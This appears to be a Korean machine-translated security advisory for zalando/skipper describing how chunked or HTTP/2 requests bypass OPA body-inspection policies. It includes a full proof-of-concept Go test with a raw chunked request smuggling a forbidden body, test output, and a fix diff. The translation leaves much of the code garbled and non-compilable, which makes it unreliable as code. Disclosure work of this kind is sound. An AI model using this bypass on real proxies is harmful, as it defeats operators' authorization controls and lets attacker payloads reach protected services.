스키퍼: opaAuthorizeRequestWithBody 필터는 전송 인코딩에 대한 OPA 정책을 우회합니다. — 청크/HTTP/2 요청
zalando/skipper의 OpenPolicyAgent 통합은 요청 본문을 자동으로 우회합니다.
HTTP/1.1 Transfer-Encoding: 청크 및 HTTP/2 요청에 대한 검사
'content-length' 의사 헤더를 생략하세요. 때
opaAuthorizeRequestWithBody 필터가 구성되었으며,
OpenPolicyAgentInstance.ExtractHttpBodyOptionally 도우미는
Content-Length 헤더가 누락된 요청의 경우 비어 있는 raw_body,
밑에 있는 청크 몸체는 여전히 상류로 흘러가는 동안
서비스. input.parsed_body를 기준으로 하는 Rego 정책(예: "
금지된 필드가 있습니다.") 빈 문서에 대해 평가하고,
금지된 필드가 없는 것으로 간주하고 요청을 승인합니다. 업스트림 핸들러
그런 다음 정책이 차단하려는 전체 공격자 페이로드를 수신합니다.
github.com/zalando/skipper 버전 <= v0.26.8(최신 릴리스는
2026-05-26, 현재 '마스터' '4eed47ff'). 취약한 도우미와 게이트
이후 filters/openpolicyagent/openpolicyagent.go에 살았습니다.
버퍼 바디 추출기가 도입되었습니다. 출시된 버전에는 다음이 포함되어 있지 않습니다.
서류 제출 시 수정하세요.
선장 프록시 수신기에 대한 인증되지 않은 네트워크 액세스입니다. 위협
모델은 개인 업스트림 앞에 선장을 배치하는 운영자를 대상으로 합니다.
그리고 'opaAuthorizeRequestWithBody'를 사용하여 본문 내용 검사를 시행합니다.
(필드 허용/거부 목록, 페이로드 스키마 게이트, 콘텐츠 조정 플래그,
다중 테넌트 작업별 인증). HTTP/1.1 및 HTTP/2 클라이언트 모두
영향을 받음; 'content-length' 의사 헤더가 없는 HTTP/2 트래픽은
Go의 net/http가 설정되기 때문에 지배적인 경우입니다.
청크된 HTTP/1.1 및 HTTP/2의 경우 http.Request.ContentLength = -1
프레임이 명시적인 프레임 없이 본문을 DATA 프레임으로 전달하는 요청
길이 헤더.
filters/openpolicyagent/openpolicyagent.go:1242-1269(HEAD 4eed47ff):
``가다 func bodyUpperBound(contentLength, maxBodyBytes int64) int64 { contentLength <= 0인 경우 { maxBodyBytes를 반환합니다. } contentLength < maxBodyBytes {인 경우 콘텐츠 길이 반환 } maxBodyBytes를 반환합니다. }
func (opa *OpenPolicyAgentInstance) ExtractHttpBodyOptionally(req *http.Request) (io.ReadCloser, []byte, func(), error) { 본문 := 필수.Body if body != nil && !opa.EnvoyPluginConfig().SkipRequestBodyParse && req.ContentLength <= int64(opa.maxBodyBytes) { 래퍼 := newBufferedBodyReader(req.Body, opa.maxBodyBytes, opa.bodyReadBufferSize) 요청된BodyBytes := bodyUpperBound(req.ContentLength, opa.maxBodyBytes) if !opa.registry.maxMemoryBodyParsingSem.TryAcquire(requestedBodyBytes) { req.Body, nil, func() {}, ErrTotalBodyBytesExceeded를 반환합니다. } rawBody, err := Wrapper.fillBuffer(req.ContentLength) 반환 래퍼, rawBody, func() { opa.registry.maxMemoryBodyParsingSem.Release(requestedBodyBytes) }, err } req.Body, nil, func() {}, nil 반환 }
`필터/openpolicyagent/openpolicyagent.go:1195-1210`:
``가다
func (m *bufferedBodyReader) fillBuffer(expectedSize int64) ([]byte, error) {
var 오류 오류
for err == nil && int64(m.bodyBuffer.Len()) < m.maxBufferSize && int64(m.bodyBuffer.Len()) < 예상 크기 {
var n int
n, 오류 = m.input.Read(m.readBuffer)
m.bodyBuffer.Write(m.readBuffer[:n])
}
if err == io.EOF { err = nil }
m.bodyBuffer.Bytes()를 반환합니다. 오류가 발생했습니다.
}
클라이언트가 Transfer-Encoding: 청크(HTTP/1.1) 또는
'content-length'가 없는 HTTP/2 요청, Go의 'net/http' 서버 세트
req.ContentLength = -1. 라인 1258의 게이트(req.ContentLength <= int64(opa.maxBodyBytes))가 true(-1 <= positiveLimit)이므로 본문은
bufferedBodyReader에 래핑됩니다. bodyUpperBound(-1, max) 반환
max, 즉 메모리 세마포어를 획득하지만 fillBuffer(-1)
int64(m.bodyBuffer.Len()) < 예상 크기를 0 < -1로 평가합니다.
첫 번째 반복에서는 false입니다. 루프는 절대 들어가지 않으며 버퍼는 그대로 유지됩니다.
비어 있고 도우미는 호출자에게 rawBody로 []byte{}를 반환합니다.
발신자는
필터/openpolicyagent/opaauthorizerequest/opaauthorizerequest.go:121
이 빈 조각을 envoy.AdaptToExtAuthRequest에 전달하여 이를 넣습니다.
AttributeContext.Request.Http.RawBody에 추가됩니다. 그러면 OPA SDK가 노출됩니다.
input.attributes.request.http.raw_body와 같은 빈 버퍼
구문 분석된 input.parsed_body 문서(후자는
비어 있거나 정의되지 않은 값). 존재를 주장하는 모든 Rego 규칙
input.parsed_body의 금지된 필드가 정의되지 않은 것으로 평가되어 실패합니다.
규칙의 기본값(일반적으로 '허용')으로 설정합니다.
한편, 래핑된 body는 필터로 반환되었습니다(req.Body = body
opaauthorizerequest.go의 127번째 줄)은 bufferedBodyReader입니다.
Read()는 기본 m.input.Read(p)로 넘어갑니다.
버퍼가 비어 있습니다(라인 1212-1228). 따라서 업스트림 핸들러는 다음을 읽습니다.
OPA가 검사할 기회가 전혀 주어지지 않은 전체 공격자 페이로드입니다.
github.com/zalando/skipper@v0.26.8에 대한 E2E)GHSA 권고에는 파일 첨부 메커니즘이 없으므로 완전한
poc_test.go 소스와 축어적인 go test 출력이 아래에 인라인됩니다.
PoC는 Go 테스트입니다.
결제 내 filters/openpolicyagent/opaauthorizerequest/poc_test.go
'v0.26.8' 태그에 포함되어 있으므로 정확한 릴리스 소스와 연결됩니다. 그것
proxytest.New를 통해 실제 선장 프록시를 부팅하고 다음과 같이 구성합니다.
진행 중인 프로세스를 가리키는 opaAuthorizeRequestWithBody 필터
opasdktest.MustNewServer 번들 서버는 Rego 정책을 설치합니다.
본문에 admin=true가 포함된 요청을 거부하고 작은 업스트림을 추가합니다.
실제로 받은 본문을 기록합니다. 그런 다음 프록시를 통해 프록시를 구동합니다.
원시 TCP 소켓(net.DialTimeout + http.ReadResponse)을 제어합니다.
정확하게 와이어 프레이밍하여 세 가지 요청을 보냅니다.
poc_test.go:
``가다 패키지 opaauthorizerequest
// PoC: opaAuthorizeRequestWithBody 청크/HTTP2 프레이밍에서 OPA 우회.
//
// 필터의 본문 추출기(filters/openpolicyagent/openpolicyagent.go,
// req.ContentLength <= maxBodyBytes에 대한 ExtractHttpBodyOptionally) 게이트
// 그런 다음 fillBuffer(req.ContentLength)를 호출합니다. 클라이언트가 메시지를 보낼 때
// 전송 인코딩이 포함된 본문: 청크(HTTP/1.1) 또는 HTTP/2를 통해
// 길이를 선언하고 net/http는 req.ContentLength = -1을 설정합니다. 게이트가 지나간다
// (-1 <= max) 그러나 fillBuffer의 루프 조건 len(buf) < ExpectSize(-1)
// 즉시 거짓이므로 버퍼링된 본문은 비어 있습니다. 따라서 OPA는
// 비어 있는 input.parsed_body, 본문의 키가 열리지 않는 거부 정책,
// 전체 공격자 본문이 업스트림으로 전달됩니다.
//
// 이 테스트는 실제 선장 프록시(proxytest)를 부팅합니다.
// 진행 중인 OPA 번들을 가리키는 opaAuthorizeRequestWithBody 필터
// deny-when-admin=true 정책과 작은 정책을 호스팅하는 서버(opasdktest)
// 실제로 수신한 본문을 기록하는 업스트림입니다. 그런 다음
// 와이어 프레이밍을 정확하게 제어하기 위해 원시 TCP 소켓을 통해 프록시합니다.
수입 ( "부피오" "fmt" "이오" "그물" "넷/http" "넷/http/http테스트" "문자열" "동기화" "테스트" "시간"
opasdktest "github.com/open-policy-agent/opa/v1/sdk/test"
"github.com/zalando/skipper/eskip"
"github.com/zalando/skipper/filters"
"github.com/zalando/skipper/filters/buildin"
"github.com/zalando/skipper/proxy/proxytest"
"github.com/zalando/skipper/tracing/tracingtest"
"github.com/zalando/skipper/filters/openpolicyagent"
)
// rawRequest는 addr에 대한 새로운 TCP 연결을 열고, 와이어를 그대로 쓰고, // 구문 분석된 HTTP 응답을 반환합니다. func rawRequest(t *testing.T, addr, wire string) http.Response { t.헬퍼() conn, err := net.DialTimeout("tcp", addr, 5time.Second) 오류가 있는 경우 != nil { t.Fatalf("%s 다이얼: %v", addr, err) } 연결을 연기합니다.Close() _ = conn.SetDeadline(time.Now().Add(10 * time.Second))
if _, err := io.WriteString(conn, wire); 오류 != 없음 {
t.Fatalf("와이어 쓰기: %v", err)
}
resp, err := http.ReadResponse(bufio.NewReader(conn), nil)
오류가 있는 경우 != nil {
t.Fatalf("읽기 응답: %v", err)
}
// 업스트림에서 받은 본문을 검사하기 전에 플러시되도록 배출합니다.
_, _ = io.Copy(io.Discard, resp.Body)
_ = resp.Body.Close()
반환 응답
}
func TestSkipperOPABypassPoC(t *testing.T) { // 업스트림은 요청별로 실제로 수신한 본문 바이트를 기록합니다. var mu sync.Mutex var upstreamBodies []string 업스트림 := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { b, _ := io.ReadAll(r.Body) mu.Lock() upstreamBodies = 추가(upstreamBodies, 문자열(b)) mu.잠금 해제() w.WriteHeader(http.StatusOK) _, _ = w.Write([]byte("UPSTREAM-REACHED")) })) 업스트림을 연기합니다.Close()
// OPA 번들: 기본적으로 허용하고 구문 분석된 본문이 admin==true인 경우에만 거부합니다.
opaControlPlane := opasdktest.MustNewServer(
opasdktest.MockBundle("/bundles/test", map[string]string{
"main.rego": `
패키지 envoy.authz
rego.v1 가져오기
기본 허용 := true
허용 := false인 경우 {
input.parsed_body.admin == true
}
`,
}),
)
opaControlPlane.Stop()을 연기합니다.
config := fmt.Appendf(nil, `{
"서비스": {
"테스트": {
"URL": %q
}
},
"번들": {
"테스트": {
"자원": "/bundles/{{ .bundlename }}"
}
},
"라벨": {
"환경": "테스트"
},
"플러그인": {
"envoy_ext_authz_grpc": {
"경로": "특사/인증/허용",
"시험 실행": 거짓
}
}
}`, opaControlPlane.URL())
opts := []func(*openpolicyagent.OpenPolicyAgentInstanceConfig) 오류{
openpolicyagent.WithConfigTemplate(config),
}
opaFactory, 오류 := openpolicyagent.NewOpenPolicyAgentRegistry(
openpolicyagent.WithTracer(tracingtest.NewTracer()),
openpolicyagent.WithOpenPolicyAgentInstanceConfig(선택...),
)
오류가 있는 경우 != nil {
t.Fatalf("레지스트리: %v", 오류)
}
fr := make(filters.Registry)
fr.Register(NewOpaAuthorizeRequestWithBodySpec(opaFactory))
fr.Register(내장.NewSetPath())
// 경로: 모든 요청은 opaAuthorizeRequestWithBody를 실행한 다음 업스트림으로 프록시됩니다.
r := eskip.MustParse(fmt.Sprintf(
`* -> opaAuthorizeRequestWithBody("test") -> "%s"`, upstream.URL))
프록시 := Proxytest.New(fr, r...)
연기 프록시.Close()
호스트 := strings.TrimPrefix(proxy.URL, "http://")
tc 구조체를 입력하세요.
이름 문자열
와이어 스트링
wantStatus 정수
wantUpstrm bool // 업스트림에 도달할 것으로 예상되는지 여부
}
경우 := []tc{
{
name: "1: Content-Length 양성 신체 -> 200 허용",
연결: "POST /priv HTTP/1.1\r\n" +
"호스트: " + 호스트 + "\r\n" +
"콘텐츠 유형: application/json\r\n" +
"연결: 닫기\r\n" +
"콘텐츠 길이: 15\r\n" +
"\r\n" +
`{"관리자":false}`,
원하는상태: 200,
wantUpstrm: 사실,
},
{
name: "2: Content-Length 관리 본문 -> 403 DENY(부정 제어)",
연결: "POST /priv HTTP/1.1\r\n" +
"호스트: " + 호스트 + "\r\n" +
"콘텐츠 유형: application/json\r\n" +
"연결: 닫기\r\n" +
"콘텐츠 길이: 14\r\n" +
"\r\n" +
`{"관리자":true}`,
원하는 상태: 403,
wantUpstrm: 거짓,
},
{
name: "3: 청크된 관리자 본문 -> 예상 403, BUG 200(우회)",
연결: "POST /priv HTTP/1.1\r\n" +
"호스트: " + 호스트 + "\r\n" +
"콘텐츠 유형: application/json\r\n" +
"연결: 닫기\r\n" +
"전송 인코딩: 청크\r\n" +
"\r\n" +
"전자\r\n" +
`{"admin":true}` + "\r\n" +
"0\r\n" +
"\r\n",
wantStatus: 200, // 버그 문서화: 403이어야 하지만 우회에서는 200이 생성됩니다.
wantUpstrm: 사실,
},
}
for _, c := 범위 사례 {
mu.Lock()
이전 := len(upstreamBodies)
mu.잠금 해제()
resp := rawRequest(t, 호스트, c.wire)
mu.Lock()
도달 := len(upstreamBodies) > 이전
var lastBody 문자열
도달하면 {
lastBody = upstreamBodies[len(upstreamBodies)-1]
}
mu.잠금 해제()
t.Logf("[%s] 상태=%d upstreamReached=%v upstreamBody=%q",
c.name, resp.StatusCode, 도달, lastBody)
resp.StatusCode != c.wantStatus {인 경우
t.Errorf("[%s] 상태 = %d, %d을(를) 원합니다", c.name, resp.StatusCode, c.wantStatus)
}
도달하면 != c.wantUpstrm {
t.Errorf("[%s] upstreamReached = %v, %v 필요", c.name, 도달, c.wantUpstrm)
}
}
// 명시적 우회 어설션: 청크된 관리 본문에 도달해야 합니다.
// 거부 정책에도 불구하고 업스트림은 그대로입니다.
mu.Lock()
mu.Unlock()을 연기합니다.
우회됨 := 거짓
_, b := 범위 upstreamBodies {
b == `{"admin":true}`인 경우 {
우회 = 사실
}
}
우회하는 경우 {
t.Logf("바이패스 확인됨: 거부 정책에도 불구하고 업스트림이 {\"admin\":true}를 수신했습니다(OPA는 청크 요청에 대해 빈 parsed_body를 확인했습니다)")
} 그렇지 않으면 {
t.Errorf("청크된 관리자 본문이 업스트림(우회)에 도달할 것으로 예상했지만 그렇지 않았습니다.")
}
}
세 가지 요청에는 다음이 포함됩니다.
| # | 와이어 프레임 | 몸 | 예상 | 알았어 |
|---|---------------|------|----------|------|
| 1 | `콘텐츠 길이: 15` | `{"관리자":false}` | 200 허용 | 200(업스트림 도달) |
| 2 | `콘텐츠 길이: 14` | `{"admin":true}` | 403 거부 | 403(OPA 차단됨) |
| 3 | `전송 인코딩: 청크` | `{"admin":true}` | 403 거부 | **200 허용(우회)** |
3개 와이어 바이트 테스트: `POST /priv HTTP/1.1\r\n호스트: ...\r\n콘텐츠 유형:
application/json\r\n연결: 닫기\r\n전송-인코딩:
청크\r\n\r\ne\r\n{"admin":true}\r\n0\r\n\r\n`.
명령 실행 및 축어적 출력(`go 버전 go1.26.3 darwin/arm64`,
선장 `v0.26.8`이 고정한 `github.com/open-policy-agent/opa v1.14.1`):
$ go test -v -run TestSkipperOPABypassPoC -count=1 ./filters/openpolicyagent/opaauthorizerequest/ === TestSkipperOPABypassPoC 실행 2026/05/28 14:43:47 경로 설정, 재설정, 경로: : * -> opaAuthorizeRequestWithBody("test") -> "http://127.0.0.1:57343" 2026/05/28 14:43:47 경로 설정 수신됨, ID: 1 time="2026-05-28T14:43:47+08:00" level=info msg="OPA 인스턴스 시작 중..." Bundle-name=test time="2026-05-28T14:43:47+08:00" level=info msg="OPA 인스턴스 상태 업데이트됨: healthy=false 상태=map[bundle:{NOT_READY ""} 검색:{NOT_READY ""} envoy_ext_authz_grpc:{OK ""}]" Bundle-name=test time="2026-05-28T14:43:47+08:00" level=info msg="OPA 인스턴스 상태 업데이트됨: healthy=false 상태=map[bundle:{NOT_READY ""} 검색:{OK ""} envoy_ext_authz_grpc:{OK ""}]" Bundle-name=test time="2026-05-28T14:43:47+08:00" level=info msg="OPA 인스턴스 상태 업데이트됨: healthy=true status=map[bundle:{OK ""} discovery:{OK ""} envoy_ext_authz_grpc:{OK ""}]" Bundle-name=test 2026/05/28 14:43:47 경로 설정 적용됨, ID: 1 poc_test.go:211: [1: 콘텐츠 길이 양성 신체 -> 200 허용] 상태=200 upstreamReached=true upstreamBody="{"admin":false}" poc_test.go:211: [2: Content-Length 관리 본문 -> 403 거부(부정적 제어)] status=403 upstreamReached=false upstreamBody="" poc_test.go:211: [3: 청크된 관리자 본문 -> 예상 403, BUG 200(우회)] 상태=200 upstreamReached=true upstreamBody="{"admin":true}" poc_test.go:233: 바이패스 확인됨: 거부 정책에도 불구하고 업스트림이 {"admin":true}를 수신했습니다(OPA는 청크 분할 요청에 대해 빈 parsed_body를 확인했습니다). --- 통과: TestSkipperOPABypassPoC(0.11초) 패스 알았어 github.com/zalando/skipper/filters/openpolicyagent/opaauthorizerequest 1.897s
테스트 1(콘텐츠 길이, 양성체)이 허용되며 다음을 사용하여 업스트림에 도달합니다.
`{"관리자":false}`. 테스트 2는 음성 대조군입니다. 동일한 `{"admin":true}`
'Content-Length' 헤더와 함께 전송된 페이로드가 올바르게 거부되었습니다(HTTP 403).
결코 상류에 도달하지 못하며 이는 정책 자체가 건전하다는 것을 증명합니다. 테스트 3
동일한 금지된 본문을 '전송 인코딩: 청크'로 보냅니다. 오파
빈 `parsed_body`를 평가하고 거부 규칙이 열리지 않고 프록시가 실패합니다.
HTTP 200을 반환하고 업스트림은 전체 `{"admin":true}`를 수신합니다.
정책이 차단하도록 구성된 페이로드입니다.
### 영향
본문 콘텐츠에 `opaAuthorizeRequestWithBody`를 사용하는 연산자
인증은 자동으로 헤더/경로 전용 인증으로 다운그레이드됩니다.
청크 또는 HTTP/2 요청을 내보내는 모든 클라이언트의 경우. 콘크리트
영향을 받는 생산 패턴:
- "본문에 관리자/권한 필드가 포함된 경우 거부" 가드레일
다중 테넌트 또는 역할 계층화된 API
- "콘텐츠 조정 플래그가 있는 경우 거부" 필터가 앞에 있습니다.
사용자 콘텐츠 엔드포인트
- "페이로드 스키마 버전이 금지된 경우 거부" 게이트
더 이상 사용되지 않는 API 종료;
- "SQL/명령 주입 형태의 문자열이 존재할 때 거부" 일반
신체 검사기.
모든 경우에 청크 공격은 금지된 신체와 함께 도착합니다.
그대로 OPA가 빈 문서를 평가하고 정책이 열리지 않습니다.
업스트림은 배포된 공격자 페이로드를 수신합니다.
차단하도록 특별히 구성되었습니다. OPA에는 로그 신호가 없습니다.
"본문이 비어 있음"과 "클라이언트가 보내지 않음"을 구별하는 결정 로그
몸".
OPA 결정 로그는 요청을 허용됨으로 기록합니다.
`raw_body` 길이가 0이므로 사후 법의학 탐지가 복잡해집니다. 는
업스트림의 요청 로그에는 전체 본문이 표시되어 혼란스러운 내용을 생성합니다.
시스템 전반에 걸쳐 비대칭성을 허용/관찰합니다.
CVSS 3.1: `AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N`(8.5 높음). 범위는
실패가 신뢰 경계를 넘었기 때문에 변경되었습니다.
인증 필터 및 업스트림 서비스.
### 제안된 수정 사항
`필터/openpolicyagent/openpolicyagent.go`:
``차이점
func (opa *OpenPolicyAgentInstance) ExtractHttpBodyOptionally(req *http.Request) (io.ReadCloser, []byte, func(), error) {
본문 := 필수.Body
+ // `req.ContentLength == -1`은 클라이언트가 다음을 사용할 때 net/http에 의해 설정됩니다.
+ // 전송 인코딩: 청크(HTTP/1.1) 또는 콘텐츠 길이 생략
+ // HTTP/2 프레이밍. 길이를 알 수 없는 본문을 최대 최대 바이트로 처리하고
+ // 음수 대신 정책 한도를 사용하여 fillBuffer를 구동합니다.
+ // 센티널, 그렇지 않으면 fillBuffer 루프가 단락됩니다.
+ // `len < ExpectSize` 조건자와 OPA는 빈 본문을 평가합니다.
+ 예상 크기 := req.ContentLength
+ 예상 크기 < 0인 경우 {
+ 예상 크기 = opa.maxBodyBytes
+ }
+
if body != nil && !opa.EnvoyPluginConfig().SkipRequestBodyParse &&
- req.ContentLength <= int64(opa.maxBodyBytes) {
+ 예상 크기 <= int64(opa.maxBodyBytes) {
래퍼 := newBufferedBodyReader(req.Body, opa.maxBodyBytes, opa.bodyReadBufferSize)
- 요청된BodyBytes := bodyUpperBound(req.ContentLength, opa.maxBodyBytes)
+ 요청된BodyBytes := bodyUpperBound(expectedSize, opa.maxBodyBytes)
if !opa.registry.maxMemoryBodyParsingSem.TryAcquire(requestedBodyBytes) {
req.Body, nil, func() {}, ErrTotalBodyBytesExceeded를 반환합니다.
}
- rawBody, err := Wrapper.fillBuffer(req.ContentLength)
+ rawBody, err := Wrapper.fillBuffer(예상 크기)
반환 래퍼, rawBody, func() { opa.registry.maxMemoryBodyParsingSem.Release(requestedBodyBytes) }, err
}
req.Body, nil, func() {}, nil 반환
}
수정 후 fillBuffer(maxBodyBytes)는 청크된 본문을 최대로 읽습니다.
구성된 캡. 본문이 캡을 초과하는 경우 기존 Read()
경로는 이미 다운스트림 소비를 위해 래핑된 판독기를 반환합니다.
현재 초과 한도 요청에 대해 문서화된 동작과 일치합니다. 는
운영자가 구성한 maxRequestBodyBytes는 계속해서 단일 상태로 유지됩니다.
메모리 할당을 관리하는 손잡이입니다.
회귀 테스트 TestOpaAuthorizeRequestWithBody_ChunkedBodyIsParsed
filters/openpolicyagent/opaauthorizerequest/opaauthorizerequest_test.go에서
일치하는 Transfer-Encoding: 청크 요청을 보내야 합니다.
블랙리스트 정책을 작성하고 HTTP 403 및 동일한 페이로드 Content-Length를 주장합니다.
패리티 확인을 요청합니다.
tonghuaroot가 보고했습니다.
| 소스 | CVSS 버전 | 기본 점수 | 심각도 | 벡터 문자열 | 평가일 |
|---|---|---|---|---|---|
| NVDNIST | 4.0 | 7.8 | HIGH | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X | 2026. 07. 18. |
| OSV3rd | 3.1 |
왜 이 VPI인가 (설명가능 · 실험적)
VPI 산정 기준
| 영향도 | 78.00 |
| 악용 신호(추가 악용신호 없음) | ×1.00 |
| VPI | 78.00 |
VPI 공식 vpi-v1 기준
| 10.0 |
CRITICAL |
| CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N/E:U/RL:O |
| 2026. 07. 09. |